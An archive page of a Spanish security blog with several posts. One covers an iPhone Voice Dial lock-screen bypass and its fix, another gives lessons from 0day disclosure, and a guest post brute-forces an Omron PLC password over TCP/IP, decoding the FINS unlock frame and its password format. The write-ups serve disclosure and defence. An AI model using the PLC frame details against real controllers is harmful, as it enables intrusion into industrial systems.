viernes, febrero 28, 2014

En tu iPhone es mejor tener Siri que Marcación por Voz

Cuando salió iOS 5 para los terminales iPhone se generó una gran polémica con respecto al sistema de Voice Control que permitía llamar por FaceTime y hacer llamadas de marcación de voz si no se había deshabilitado. Lugo este sistema se quedaría por defecto activo para los terminales iPhone 4, mientras que para los terminales iPhone 4S se pondría Siri, el asistente personal controlado por voz. En el caso de Voice Control, como se explica en detalle en el capítulo de ataques locales en el libro de Hacking iOS, se podía llamar por teléfono y por FaceTime a cualquiera de los contactos que estuvieran en la agenda de teléfonos.

Después salió iOS 7, y hemos visto desde iOS 4 hasta este muchos trucos para realizar con Siri o para saltarse el passcode de un iPhone o un iPad en las diferentes versiones. Además, los terminales que se quedaban sin soporte para el famoso asistente de voz poco a poco iban desapareciendo y todos los problemas de privacidad y seguridad iban siempre orientados a hablar de Siri.

Pero... mi amigo Andreú que tenía ganas de enredar con un iPhone esta semana me volvió a alertar de esto: "Oye Chema, ¿has visto esto en iPhone 5S e iOS 7.0.X?". Tras la sorpresa inicial de que siguiera funcionando la Marcación por Voz con estos problemas le conté la historia de iOS 5 y estos detalles sobre Siri y la privacidad que os acabo de explicar. No sentamos, y enredamos hasta dejarlo seguro. 

Lo cierto es que he ido probando en muchos terminales de amigos, y casi todos tenían desactivado Siri, pero cuando dejas con la pantalla bloqueada el Home Button durante unos segundos, vuelve a aparecer el viejo sistema de Marcación por Voz. Además, yo he puesto el idioma de mi iPhone 5S en inglés, pero el sistema de Marcación por Voz me sale en el idioma de instalación inicial, lo que demuestra que incluso los tests de Q&A no los han hecho con la misma intensidad.

Figura 1: Llamando con Voice Control en iPhone 5S con iOS 7.0.6

Lo curioso es que por defecto, en todos los terminales viene activada la marcación por voz, como en el bug original de iOS 5.1, por lo que basta con decir Marca a tu contacto, y ahí está, llamando a mi amigo Rodol sin pedir el passcode por ningún sitio.

Figura 2: Por defecto Voice Dial viene activado. Quítalo.

La solución es sencilla, acordarte primero de quitar Siri para que no te hagan ninguna de las cosas malas que se pueden hacer por defecto con el asistente, como el truco de robarte las cuentas de Gmail  o Hotmail con mucho arte o ponerte una llamada despertador en plan amigo resentido a las 4 de la mañana, pero luego tienes que irte a las opciones de Voice Control y desactivarlo, que si no... tu teléfono será un teléfono público para todo el mundo.

Actualización: Otra opción es dejar Siri activado, pero desactivarlo con la pantalla bloqueada. Es decir, en las opciones de Siri dejarlo activado, y en las opciones de passcode desactivar Siri. Así la Marcación por Voz no sale cuando la pantalla esté bloqueada. 

Saludos Malignos!

jueves, febrero 27, 2014

Latch Dashboard: Gestión de aplicaciones y estadísticas

En varias ocasiones había comentado ya que en nuestro roadmap estaba el crear un pequeño Dashboard para que los sitios que utilizan Latch puedan tener información y gestionar el estado de los latches de todos los usuarios conectados a sus sitios. En este caso, para el Mobile World Congress hemos puesto una primera versión que permite varias cosas, como en primer lugar gestionar las aplicaciones creadas.

Figura 1: Panel de control en el DashBoard que permite gestionar las diferentes aplicaciones

También, para cada Aplicación se pueden tener datos estadísticos de los latches del sitio. Este es un pequeño ejemplo de un Dashboard sobre un aplicación con RedMine que tenemos montada en Eleven Paths.

Figura 2: Panel de estadísticas para cada aplicación

Esta es una primera versión en un estado incipiente, pero iremos creando muchas más funciones alrededor de ella para dar la máxima información posible a todos los sitios que han integrado Latch en sus sitios.

Figura 3: Algunas estadísticas más en el dashboard

Más Recursos de lectura sobre Latch en la web
Saludos Malignos!

miércoles, febrero 26, 2014

Calendario de Eventos para el mes de Marzo

Hola amig@s, esta semana estoy en el MWC en Barcelona y mi tiempo está siendo mucho más ajustado que de costumbre, así que hoy solo os voy a dejar la lista de eventos, cursos y saraos que tenéis disponibles para el mes de Marzo que se nos viene encima, y que como veréis está bien cargadito.

Entre los más destacables las conferencias Hackron en Canarias, RootedCON con sus RootedLabs en Madrid, la Troopers en Alemania, el Curso de Ciferdefensa y Ciberguerra que vamos a dar Online y la semana de informática en la Universidad de Almería, además de mis pasos por la radio. Ahí va el calendario detallado.
01: Santa Cruz de Tenerife [Hackron] *
03: Madrid [RootedLabs - Android, WiFi, Intelligence]
04: Radio [La Mañana] * [G]
05: Madrid [RootedLabs - Metasploit , KALI Linux]
06: Madrid [Voto Electrónico - TASSI] [G]
06: Madrid [RootedLabs - FOCA, Hardening GLAMP] *
07: Madrid [RootedCon]
08: Madrid [RootedCon ] *
09: Madrid [RootedCon]
10: Online [Curso de Ciberdefensa y Ciberguerra] *
11: Radio [La Mañana] * [G]
12: Almeria [UAL] * [G]
13: Alcalá de Henares [UAH] * [G]
17: Madrid [UPM] * [G]
18: Radio [La Mañana] * [G]
19: Heidelberg [Troopers 2014] *
20: Madrid [BitCoins: Mercados y Monedas - TASSI]
20: Villaviciosa de Odón [Master Class UEM] [G] *
25: Radio [La Mañana] * [G]
27: Online [Curso de Ciberdefensa y Ciberguerra] *
La leyenda es * en los sitios en los que estaré yo, y [G] si es gratuito, por si puedes y te quieres apuntar. De los que no he puesto enlace es porque no los tengo. Si tienes interés, lo mejor es preguntarles a ellos. Si los consigues ¡pásamelos!

Saludos Malignos!

martes, febrero 25, 2014

Primeros sitios que implantan Latch

Como os había dicho, desde hace poco más de dos meses que lanzamos Latch hemos estado trabajando duro para ir lo más rápido posible en la implantación de esta tecnología y nos pusimos como fecha el Mobile World Congress 2014 de Barcelona con el objetivo de tener un sprint en todas las partes del producto. La gente en Eleven Paths se ha dejado la piel, y esta es la lista de cosas nuevas al respecto que estamos contando a todo el mundo.

Sitios que integran Latch para sus usuarios

En la web de Latch se han anunciado algunos sitios que ya tienen o tendrá en breve Latch disponible para ser usado con sus clientes. Entre ellos, he de citar el primero de todos ellos el sitio de Movistar.es, porque Telefónica de España ha trabajado para que todos los clientes de fijo y móvil puedan proteger el acceso a sus cuentas con Latch.

Figura 1: Primeros sitios en los que probar Latch

También hay que citar el caso de la Universidad de Salamanca que también lo tiene producción desde la semana pasada, en este caso con 4 niveles de granularidad dentro del Latch para proteger el acceso a diferentes servicios de la Universidad.

Figura 2: Latch en la Universidad de Salamanca

También la Universidad Internacional de la Rioja la va a poner a disposición de los alumnos, así como la entidad bancaria CajaMar y El Grupo Cortefiel que lo van a poner en los sistemas. También estamos trabajando con Tuenti y sigue estando disponible para el portal de Acens. Además de estos sitios, estamos realizando pilotos de integración con más de 20 grandes sitios, y a día de hoy hay más de 600 sitios ya que están utilizando Latch.

Más Recursos de lectura sobre Latch en la web
Saludos Malignos!

lunes, febrero 24, 2014

Aprende hacking y seguridad en los RootedLabs

Queda justo una semana para que den comienzo los fastos de esta edición de la RootedCON donde serán parte importante los RootedLabs. Las plazas, como en años anteriores han ido cancelándose con velocidad y quedan ya pocas para que se acaben completamente, así que aprovecha aún que quedan algunas y apúntate.

El formato de los RootedLabs es el de siempre, es decir, jornada completa con el profesor, donde tanto el desayuno como la comida están incluidos en el coste total de la formación, que dura una jornada completa. Este es el calendario de plazas disponibles.

Lunes 3 de Marzo

El lunes comenzará con tres RootedLabs de no perderse. El primero de ellos dedicado al Análisis de Apps y el Reversing de Android donde Luis Delgado enseñará los principios fundamentales para conocer en serio este sistema operativo que tantas y tantas veces te vas a encontrar en peritajes informáticos y en auditorías de seguridad de apps, para poder descubrir casos como el de la linterna molona o poder saber si una app tiene un bug o es directamente un troyano instalado en un Android.

Ese mismo día estará Raúl Siles, uno de los mejores ponentes y profesionales de España. Profesor oficial del SANs, auditor durante muchos años y reconocido especialista en seguridad Web y seguridad WiFi trae un RootedLab muy especial de Técnicas de ataque sobre clientes WiFi para el que ha preparado contenido que solo se podrá ver en este RootedLab. Para poder hacer el curso esta vez si es necesario contar con unas tarjetas WiFi muy concretas que permitan probar las nuevas técnicas de ataque propuestas por él mismo. Un lujo tener a Raúl Siles este año que no se da muchas veces.

Daniel Creus - autor del libro de Fraude Online - y Vicente Díaz - director en Kaspersky - traen una formación distinta, orientada a equipos de seguridad en empresas que tengan que ocuparse de los casos de Inteligencia y e-crime para resolver casos especiales. Si has estado en un departamento de seguridad de una empresa supongo que sabes a qué tipos de casos te puedes enfrentar. Ellos, cuentan en este seminario cómo afrontar estos casos, y algunas experiencias y lecciones aprendidas después de años de trabajar en este área.

Martes 4 de Marzo

Este día, para  los que se quieren dedicar al pentesting profesional, está disponible Metasploit para Pentesters, impartido por Pablo González que tras años en Informática 64 ahora es el responsable del proyecto Faast de Eleven Paths. Este seminario es imprescindible si quieres orientar tu carrera profesional en el pentesting. Además, todos los asistentes recibirán gratis el libro de Metasploit para Pentesters que escribió Pablo González y donde yo le eché un cable con un capítulo.

También ese día está disponible el RootedLab de Iniciación al Ethical Hacking con Kali, que imparte el más que experimentado en estas lides Alejandro Ramos "Dab" y que debido a la demanda que ha habido se ha tenido que duplicar. Otro imprescindible para los amantes del pentesting.

Miércoles 5 de Marzo

El miércoles estaré yo impartiendo un RootedLab dedicado a hacer Pentesting con FOCA, donde todos los asistentes que se apunten tendrán como material no solo la última versión de FOCA, sino además también el libro de Pentesting con FOCA en el que se explican en detalle muchas de las prácticas que se van a realizar. Este fue el último seminario que se publicó, y el temario completo de este curso lo tienes aquí: RootedLab Pentesting con FOCA. Actualmente quedan plazas disponibles de este lab, así que aún estás a tiempo, de venir a pasar un día de lo más maligno conmigo.

También ese día quedan plazas para el RootedLab del gran Dabo, al que por fin he liado en una de las mías y he conseguido que se venga desde Asturias para estar dando un RootedLab de lo que tiene más experiencia que nadie: "Hardening GLAMP Servers". Una maravilla tenerle como parte de los profesores de los labs. Espero que acabe Latcheando todo, por supuesto.

Y después llega la RootedCON, así que si estás en mi RootedLab o si vienes a la RootedCON, nos veremos por allí.

Saludos Malignos!

domingo, febrero 23, 2014

8 malas prácticas en el proceso de gestión de un 0day

En septiembre del año 2009 estábamos a punto de presentar en la Ekoparty de aquel año las técnicas de Connection String Parameter Pollution en la que íbamos a hacer demos con varios 0days que afectaban a las herramientas MyLittleBackup, MyLittleAdmin, Microsoft Web Data Administrator y ASP.NET Enterprise Manager. Cuatro herramientas utilizadas para la gestión de bases de datos MS SQL Server que tenían el mismo bug y permitían acceder remotamente de forma sencilla a los paneles de control de todos los clientes que los tuvieran expuestos en Internet con solo poner una cadena de caracteres y que os expliqué en detalle en el artículo Connection String Attacks.


Figura 1: Presentación de Connection String Paramenter Pollution en DEFCON 18

Desde entonces han pasado varios años pero aún hay muchos sitios vulnerables a estas técnicas. Repasando lo que ha sucedido desde entonces hay una serie de lecciones aprendidas de malas cosas realizadas que ayer quise explicar a mis alumnos en la Universidad y que me he decidido a publicaros por aquí.

1.- El reporte sin solicitud de un CVE

La primera de las malas lecciones aprendidas es que no todas las empresas de desarrollo de software se toman de igual forma la gestión de los bugs de seguridad. En aquel entonces a nosotros nos importaba más la técnica de explotación que estuvimos desarrollando en detalle en el paper, que en el 0day concreto, y dejamos que los fabricantes de software optaran por gestionarlo como ellos quisieran y al final cada gestión fue un desastre... para ellos y para sus clientes.

Figura 2: El advisory en el foro que se publicó

Desde la empresa que gestiona MyLittleAdmin y MyLittleBackup no se pidió un CVE para su bug y lo único que hicieron fue publicar un mensaje en un foro en el que decían que el parche era solo para corregir una "minor security vulnerability", como se puede ver en la Figura 2. Por supuesto, ni gracias, ni mención, ni nada por el estilo, ya que no les sentó nada bien que descubriéramos este fallo.

2.- Minimizar la importancia del bug

Cuando vi el advisory me puse en contacto con ellos y les expliqué que si mirábamos la criticidad del bug usando CVSS/CVSS2 sabiendo que iba a haber un exploit público, remoto, sin necesidad de una interacción por el usuario y permitiendo acceder al 100% de los datos, probablemente nos saliera un número muy alto. Un poco forzado por la evidencia, cambió el mensaje en el foro de su sitio que hacía las veces de Security Advisory y lo dejó como "Security Vulnerability", pero simplemente modificando el texto del mensaje.

Figura 3: El advisory modificado a "security vulnerability"

En aquel entonces le dije que el tratamiento que estaba haciendo no creía que fuera bueno para sus clientes, pues después de que yo contara esto en la Ekoparty, BlackHat y DefCON, todos aquellos usuarios de su software que no lo hubieran actualizado quedarían muy vulnerables. A día de hoy, aún quedan muchos sitios publicados en Internet con versiones de MyLittleAdmin y MyLittleBackup vulnerables a esta técnica que permiten a cualquiera acceder desde Internet a sus bases de datos.

3.- No realizar una detección de clientes vulnerables

Uno de los temas que ya he contado alguna vez es que si cualquiera haciendo un poco de hacking con buscadores es capaz de encontrar los sitios vulnerables, ¿cuál es el motivo por el que no lo hacen los propios fabricantes? Esto ya lo he comentado con varios de ellos, y alguno ha comenzado a hacer algún escaneo pro-activo en Internet para localizar versiones vulnerables de sus programas para avisar vía canales oficiales a sus clientes del problema. Por supuesto, en este caso ninguno de los fabricantes parece haber realizado el proceso de aviso a sus clientes y ayuda un poco más a que sigan quedando las instalaciones vulnerables en Internet.

4.- Preocuparse más de la imagen que del fallo de seguridad

Una de las cosas que más me llamó la atención es que nada más publicar el fallo de seguridad e ir yo a contar la presentación, desde MyLittleTools se hizo una campaña de marketing dando referencias de qué clientes usaban su software.

Figura 4: Lista de clientes publicada desde MyLittleToolsb

En aquel entonces pensé: "Genial, te digo que hay un 0day que se va a publicar en Internet y tú pones las víctimas expuestas". Fail.

5.- Olvidar la fase de retiro del software

Una de las cosas que se estudian en las clases de Ingeniería del Software es que hay que pensar en la fase de retirada del software, es decir, cuándo y cómo una aplicación debe ser retirada definitivamente. En el caso de Microsoft Web Data Administrator el software se liberó vía proyecto Open Source en CodePlex, pero se siguió distribuyendo la versión antigua desde los servidores de Internet, lo que hacía que aunque el programa estaba abandonado siguiera habiendo nuevas instalaciones del software vulnerable cada día.

Figura 5: en el año 2009 se retiró Microsoft Web Data Administrator

La versión de CodePlex estaba parchada, pero la que distribuía directamente Microsoft no lo estaba, así que cuando contacté con el Microsoft Security Response Center estuvieron de acuerdo en retirar el software de la descarga.

6.- Fallos en el control de reintroducción de bugs

En este caso, a pesar de Microsoft retiró el software vulnerable de Internet, en un proceso de migración de servidores volvió a ponerse disponible en Internet al cabo del tiempo, lo que yo detecté de casualidad y tuve que volver a reportar.

Figura 6: En el año 2011 estaba otra vez disponible el software vulnerable

Al final, durante otro largo tiempo se estuvieron creando nuevas instalaciones de software vulnerable servidas otra vez desde la propia Microsoft.

7.- Uso de software abandonado

El último de los programas vulnerables que se vieron afectados con estos 0days era ASP.NET Entrerprise Manager, un programa que cuando ya descubrimos el bug estaba abandonado totalmente por sus creadores, así que no había ninguna posibilidad de poder obtener un parche. De hecho, en la presentación del fallo contábamos un ejemplo de cómo debería solucionar manualmente, algo que por supuesto dudamos que alguien hiciera.

8.- No anticiparse al bug

En la presentación de Connection String Parameter Pollution, además de hacer las demos con las cuatro versiones afectadas por los 0days, dejamos claro que aunque en Oracle y MySQL era más difícil debido a que no era común la autenticación integrada en la base de datos, el resto de exploits para escanear la DMZ, escanear los puertos o cambiar la base de datos a la que se conecta la aplicación les afectaría. Hace no demasiado yo probé esto mismo con un panel web de gestión de bases de datos MySQL que se veía afectado.

Figura 7: Un panel de gestión de bases de datos MySQL afectado por un Connection String Attack

Hay que estar atento a todo lo que se publica que afecta a versiones de software similar para saber si tu aplicación puede verse o no afectada. Anticipación es una buena práctica de gestión de seguridad.

Conclusiones

Todos estos puntos han hecho que el matar un 0day tan fácil de explotar no se haya realizado y a día de hoy aún haya paneles de las cuatro versiones de software totalmente vulnerables expuestas en Internet, y para alguien dicho en el hacking con buscadores sea más que sencillo localizarlos. Gestionar correctamente la seguridad es fundamental, y si no se hace... todo será un desastre.

Saludos Malignos!

sábado, febrero 22, 2014

Ataque de fuerza bruta a PLC Omron CJ2H CPU64-EIP

Recientemente contaba en un importante portal dedicado a la automatización industrial cómo había tenido que improvisar “on the fly” un ataque por fuerza bruta contra CX-Programmer para liberar los permisos de lectura de programa en un PLC Omron modelo CQM1-CPU43 protegidos por un código decimal de cuatro dígitos - 10.000 combinaciones -.

Los motivos que permitieron el éxito del ataque fueron dos. Por un lado la CPU que con una antigüedad de 16 años como mínimo no limita el número máximo de intentos de liberación de permisos que se pueden realizar mediante peticiones a su puerto serie y  por otro lado está el tema del software, que tampoco tiene limitaciones en este sentido.

Que la CPU no limite el número de intentos por el puerto serie tiene cierta lógica cuando hablamos de equipos tan antiguos nacidos en tiempos menos preocupados por la seguridad en la electrónica industrial ya que en modelos más modernos de esa misma CPU sí que fue limitado el número de intentos que se podían hacer para desbloquear un sistema, pero me resultó algo más extraño que el software no implementara ya ningún control porque estamos hablando una versión actual del mismo.

Además, en la prueba que realicé el ataque se producida conectado al cable serie, con las limitaciones de tiempo y de necesidad física de conectarse cerca, pero ¿qué pasa con las comunicaciones TCP/IP que ya llevan este tipo de controladores? ¿Estarían protegidas contra ataques de fuerza bruta?

Un ataque de fuerza bruta a un PLC por TCP/IP

El primer paso fue el de pedir a Omron las especificaciones del protocolo FINS (Factory Intelligence Network Service) para buscar el comando de liberar la protección, pero por algún motivo han decidido no poner este comando en la lista del manual “Sysmac CS/CJ/CP Communications Commands Reference Manual” que me enviaron.

Figura 1: Listado de comandos FINS según el manual de referencia del fabricante

Como ya pudimos ver cuando capturábamos las claves de un PLC mediante un ataque MITM, Omron no cifra las comunicaciones entre el PLC y su propio software de programación. Este software de hecho utiliza el propio protocolo FINS para la comunicación con el PLC, así que fue sencillo analizar mediante Wireshark el proceso de intento de liberación de protección para ver la trama enviada del software de controla al PLC.

Figura 2: Captura de conexiones de comandos FINS
Figura 3: Detalle ampliado del comando FINS enviado desde el software CX-Programmer PLC

Si analizamos esa trama enviada y la comparamos con la estructura del comando FINS estándar que encontramos en el manual se puede comprobar que coincide perfectamente. Para no hacer demasiado extensa la explicación no voy a entrar en detalle de que es cada uno de los elementos del comando, pero vamos a descomponer el mensaje capturado con Wireshark para ver su estructura.

Figura 4: Detalle de un comando FINS
ICF: 80
RSV: 00
GCT: 07
DNA: 00
DA1: 00
DA2: 00
SNA: 00
SA1: AC
SA2: 00
SID: 7C
Command Code: 03 05
Text: FF FF 00 55 4D 00 00 00 00 00 00
Se puede ver que el comando de liberación es “03 05” y que hay otro campo con pinta de ser más que interesante dentro de la trama, el comando “Text”. Este comienza por los valores “FF FF 00” y a continuación está la representación ASCII en formato Hexadecimal de la clave que se ha utilizado para intentar liberar los permisos (UM) seguida de seis caracteres NULL.

La clave en concreto puede estar formada por una cadena de 8 caracteres dentro del espacio de valors que estos equipos pueden manejar que van desde la "A" a la "Z" mayúsculas, desde la "a" a la "z" minúsculas, y desde el "0" al "9".

Con todo esto ya tenemos los datos suficientes para componer tramas e ir enviando mensajes al PLC hasta que consigamos obtener la clave. Para la prueba de concepto establecí en el PLC una clave numérica y escribí un pequeño programa en el mejor de mis spaghetti code en VB.NET que atacaba al PLC extrayendo las claves de un diccionario de palabras. El resultado del ataque a la protección contra lectura de “User Memory” fue el siguiente.

Figura 5: Mensaje de clave encontrada

Conclusión final

Parece que Omron, después de protegerse contra los ataques por fuerza bruta en los puertos serie en algunas versiones de producto de sus PLCs vuelve a permitir este tipo de ataques unos años después por la capa TCP/IP.

Es cierto que como cualquier ataque por fuerza bruta puede volverse eterno en función del diccionario que utilicemos, podemos observar que ha tardado 29 minutos en testear menos de 300.000 contraseñas. Obviamente la aplicación que se ha escrito para la prueba de concepto no es más que una herramienta de usar y tirar sin optimizar y que seguro que se puede mejorar.

Hay que decir también que para la protección contra lectura de tareas se utiliza el mismo comando, solo que el campo texto comienza por “FF FF 02”. Ambas pruebas se realizaron contra un CJ2H CPU64-EIP y el resultado fue exitoso. El PLC aguantó el ataque y las contraseñas aparecieron.

Figura 6: PLC CJ2H CPU64-EIP

Si alguna vez tenéis que establecer una contraseña para uno de estos sistemas recordad que es importante que sea larga y compleja, como en cualquier otro acceso que deseemos proteger, porque no hay más protección en estos sistemas que la paciencia que tenga el atacante para intentar todas las combinaciones posibles en un ataque de fuerza bruta a todo el espacio posible de passwords.

Autor: Juan Luis Valverde Padilla
e.mail: jl.valverde@jvalverde.es

viernes, febrero 21, 2014

Los metadatos del documento de Interviú en el caso Noos

Esta semana la noticia en el mundo de los metadatos vino de la revista Interviú que publicó un extenso artículo en el que explica cómo un documento apuntaría a que la estrategia de defensa de la infanta lo diseñó el propio fiscal anticorrupción, algo un poco insólito. Dejando a parte la parte más mediática, mi objetivo era intentar seguir la pista y ver los documentos, pero os prometo que no me ha sido fácil. No obstante, os dejo aquí la explicación de la noticia por si os pudiera venir bien.

Figura 1: El artículo en la revista Interviú

El documento confidencial

El origen de todo el caso parte de un documento de 5 páginas en formato electrónico al que habría tenido acceso la revista Interviú y en el que se explica la estrategia a seguir en la defensa de la infanta. Ese documento no lo he encontrado por ningún lado, pero hemos de suponer que es correcto. De él  solo tenemos esta captura que he intentado maximizar todo lo posible.

Figura 2: El documento confidencial que no ha sido publicado

En él, supuestamente se podría ver que el autor del mismo era pha y que había sido modificado a posteriori por otro usuario que atendía al nombre de maesteban. A partir de ese momento el artículo de Interviú intenta localizar estos dos usuarios en otros documentos del Caso Noos.

El usuario 'pha'

Llamándose Pedro Horrach Arrom el fiscal anticorrupción de Baleares, no parece muy complicado asumir que ese usuario corresponde a su persona. Encontrar un documento del fiscal con este usuario no es complicado, aunque tampoco fácil ya que la fuente original remitía a ABC.ES pero allí no lo he encontrado con facilidad. No obstante, sí he localizado el documento que citan en en la web de El País. Usando FOCA Online con él se puede ver cómo el usuario es efectivamente pha.

Figura 3: El usuario pha en el documento de apelación que hay en El País

Sin embargo, una copia del mismo documento en formato PDF publicada en la web de RTVE da como resultado otros usuarios distintos, con la misma fecha de modificación pero solo con unos minutos después.

Figura 4: El mismo documento modificado unos minutos después.

El usuario 'maesteban'

El segundo de los usuarios que aparece está supuestamente en un documento que remite el fiscal Pedro Horrach al juez solicitando la comparecencia de los peritos de Hacienda. En el artículo de Interviú se hace referencia a un documento que he encontrado en El Mundo donde sí aparecen esos metadatos.

Figura 5: Los metadatos en el documento de El Mundo

Sin embargo, el mismo documento en  El País aparece con un usuario distinto al que dice Interviú y con una fecha de modificación posterior. 

Figura 6: Los metadatos en el documento de El País no corresponden con los de El Mundo

Reflexión final sobre la adquisición de los metadatos

Los metadatos pueden ser un buen indicio para sacar buenas conclusiones sobre relaciones personales o entre empresas, como hemos visto muchas veces en la lista de Análisis Forense de metadatos: Ejemplos ejemplares, pero en este caso he de decir que creo que falta la publicación del documento confidencial para poder contrastar toda esta información.

Si el documento confidencial hubiera sido publicado por los propios que generan el documento, quedarían expuestos con su propio documento tal y como le pasó a Tony Blair. Sin embargo, al ser este documento proporcionado por unas fuentes externas, alguien con no necesariamente muchos conocimientos podría haber manipulado el documento confidencial de 5 páginas para poner en él lo que hubieran querido y luego decir que es el original

Por desgracia, los metadatos se pueden manipular fácilmente, y es por ello que la manera de conseguirlos es fundamental a la hora de entender que tal modificación no hubiera tenido sentido. Para dejar claro esta apreciación, solo hay que ver el ejemplo del Caso Gurtel donde los peritos dijeron que las facturas que entregaron desde Gurtel eran falsas porque los metadatos decían que se habían creado con pocos minutos de separación.

¿Tendría sentido que los propios imputados manipularan los metadatos para auto-implicarse? No lo creo. Por el contrario, en este caso donde no se conoce muy bien la fuente del documento confidencial, la pregunta no queda tan claramente respondida.

Todo esto, queda muy lejos de querer convertirse en una opinión de defensa o ataque hacia cualquiera, es simplemente una apreciación técnica que como perito alguien debe hacerse en una situación en la que no se conoce muy bien el origen de la información. Es por ello que en el libro de Análisis Forense Digital, Juan Garrido deja muy claro que la adquisición de la información en un caso forense es clave para que sea útil o no lo que del análisis se obtenga.

Saludos Malignos!

jueves, febrero 20, 2014

2º Premio para Hacker Épico y Novedades en 0xWord

Esta semana los autores del libro Hacker Épico recogían el segundo premio que ha recibido ya, de manos del equipo de Red Seguridad que le concedió el Trofeo a la Formación en Seguridad TIC por presentar de forma innovadora en una fantástica novela un montón de conocimientos de seguridad informática. Anteriormente, el libro había recibido de manos de SIC un premio similar, como ya os habíamos contado. Desde aquí quiero felicitar a Rodri y Alejandro por su nuevo premio, disfruté el libro desde el minuto uno, y estoy deseando poder leer la segunda parte.

Figura 1: Los autores Alejandro y Rodri recogiendo su segundo premio por Hacker Épico

Como manera de celebrar este segundo premio, durante el día de hoy podrás comprar el libro de Hacker Épico con un 10% de descuento utilizando el código PREMIO en la web de compra en 0xWord.

Además, aprovecho para contaros que esta semana hemos anunciado la 2ª Edición del libro Ataques en Redes de Datos IPv4 & IPv6 que he revisado y ampliado. La parte de ataques en redes de datos IPv6 ha crecido considerablemente y se han incluido todas las últimas funcionalidades que se pueden hacer con Evil FOCA.

Figura 2: 2ª Edición del libro Ataques en Redes de Datos IPv4 & IPv6

También se ha puesto a la venta un número reducido de ellas - solo 20 unidades - de la colección completa de libros de 0xWord con 27 ejemplares, ya que hay un libro que está próximo a terminarse y no sabemos si lo vamos a reeditar o no. La colección completa está disponible en el siguiente hipervínculo.

Figura 3: Colección Completa de libros de 0xWord. 27 libros.

Por último, durante esta semana se ha anunciado un nuevo distribuidor en Perú, para que puedas conseguir los libros allí a través de La Comunicad PerúCrack. Este se une a la lista de distribuidores que hay en México, Colombia, Chile, Bolivia y Argentina que tienes anunciados en la web de 0xWord.

Figura 4: Libros de 0xWord en Perú

Antes de terminar, sí que os diré que los libros de 0xWord estarán disponibles para su compra en la conferencia Hacrkon en Canarias, donde participaré en una charla y una mesa de debate, y en la próxima RootedCON, donde además estaré dando el RootedLAB de Pentesting con FOCA y una charla sobre Latch el viernes.

Saludos Malignos!

miércoles, febrero 19, 2014

Una buena política anti-malware debe buscar en el pasado

Hace poco me preguntó uno de los alumnos del Master de Seguridad de la UEM una cuestión con la que yo me había topado hace ya tiempo en un proyecto con un cliente y que había resuelto de una forma peculiar. Como nunca había hablado de esto por aquí me he decidido a escribirlo por si a alguien le viene bien implementarlo en su empresa. El problema en cuestión es tan sencillo de exponer como "¿Cómo detectar un malware en tu sistema?".

Las soluciones habituales cuando se tienen un equipo solo pueden ser las habituales en equipos Mac OS X o en equipos Windows, pero si nos enfrentamos a un Évola Asesino, - o al español Careto -mejor tener una buena estrategia a nivel global.

El Évola Asesino vive en tu red

Supongamos un poderoso malware al que llamaremos Évola Asesino con capacidades de rootkit y que está siendo controlado remotamente por un equipo profesional de atacantes se ha colado en tu red. El malware, como hacen los bots de última generación viene preparado para defenderse no solo de los sistemas de seguridad, sino también de otros programas maliciosos que pudieran existir en el mismo equipo.

Además de esas protecciones, tiene controladas todas las llamadas a la API del sistema operativo para evitar la detección por parte de las herramientas antimalware, interceptando las llamadas que le interesan y las que no le interesan para evitar levantar sospechas.

Esto les permite que cuando se hacen listados de ficheros en carpetas, servicios, o cualquier otra llamada a la API del sistema operativo, el rootkit pueda ocultar su presencia en los resultados. También cuando detecta que se está utilizando alguna técnica de detección de rootkit que busca localizar diferencias entre los resultados devueltos por las llamadas a las API y los que se puede obtener accediendo en bruto, deciden no ocultarse y confundir más a las herramientas.

Además, este poderoso malware cuenta con una buena estructura detrás y muta continuamente para dificultar la generación de firmas por parte de los laboratorios de las casas antimalware. Para ello han creado un sistema curioso para protegerse y en un entorno similar a Virus Total analizan continuamente los bots con todos los motores antivirus. En el momento en que ven que un Antimalware detecta los bots como software sospechoso, mutan el código del malware y actualizan todos los equipos infectados con una nueva versión indetectable en tiempo record.

¿Cómo se podría detectar al Évola Asesino?

Cuando se me planteó esto hace tiempo llegué a la conclusión de que una buena política contra este tipo de ataques debería tener una estrategia de análisis de malware en el pasado. Es decir, que la base de datos de firmas actualiza de todos los motores de antivirus debería revisar no solo el entorno actual, sino también el entorno que habíamos tenido en el pasado. Las recomendaciones que hice en aquel entonces, además de aplicar todas protecciones en tiempo real en los puntos de conexión externa con el sistema, fueron:
1) Tener copias de seguridad completas del disco completo de equipos seleccionados de la red para poder hacer escaneos offline de los sistemas. Esto está pensado para conseguir evitar el que un malware con capacidades de rootkit logre eludir la detección manipulando las respuestas de la API tal y como hace cuando se encuentra con el sistema online. Así, las versiones de Évola Asesino que haya se irán con ellas.
Figura 2: Ejemplo de copias de seguridad completas datadas con su versión del Évola Asesino
2) Escanear las copias de seguridad del pasado con las nuevas firmas. Muchas veces las casas de antivirus añaden firmas de malware que ha estado circulando por Internet y las redes de las empresas durante mucho tiempo, así que puede que en el pasado lo tuvieras. Además, si el malware hubiera mutado para no ser detectado, no lo podría haber hecho en la copia de seguridad almacenada.
Figura 2: Ejemplo de actualización de firmas y detección de versiones del Évola Asesino
3) Escanear las copias de seguridad de los equipos con todos los antimalware posibles. No es recomendable por precio y por usabilidad tener varias soluciones antimalware en los equipos de trabajo, pero tener una licencia de muchos antimalware para escanear copias de seguridad del pasado, es económicamente barato para una empresa y funcionalmente cómodo. Se podría tener un servidor escaneando constantemente copias de seguridad de equipos para detectar firmas de malware en el pasado.
Figura 3: Cuando se iría descubriendo cada versión del bot
4) Escanear las copias de seguridad de equipos con distribución geográfica y temporal. Es decir, hacer el proceso con equipos significativos de cada maqueta de ellos que haya en la red de la organización y hacerlo con diferentes copias temporales.
Conclusiones

Al final, con una estrategia como esta podrás sacar mucho conocimiento de cómo hay ido evolucionando la seguridad de tu organización y descubrir posibles infecciones hechas por algún Évola Asesino u otro similar, además de que podrás encontrarte con brechas de seguridad no conocidas hasta el momento. Si por el contrario no haces esto, el malware Évola Asesino podría permanecer indetectable durante años en tus sistemas hasta que perdiera una carrera con tu software antimalware. No es lo suyo jugárselo todo a una carta.

Como dice Sergio de los Santos (@ssantosv) en su libro de Máxima Seguridad en Windows, un antimalware no es suficiente para una amenaza como la del Évola Asesino y hay que hacer más cosas en el sistema, pero una buena estrategia te puede ayudar a mejorar la ayuda que te pueden dar estas tecnologías. Si tienes esas copias de seguridad hechas, ahora podrías saber si tuviste un Careto en tu red en algún momento.

Saludos Malignos!

martes, febrero 18, 2014

Wargames y la alegría de un SegFault (2 de 2)

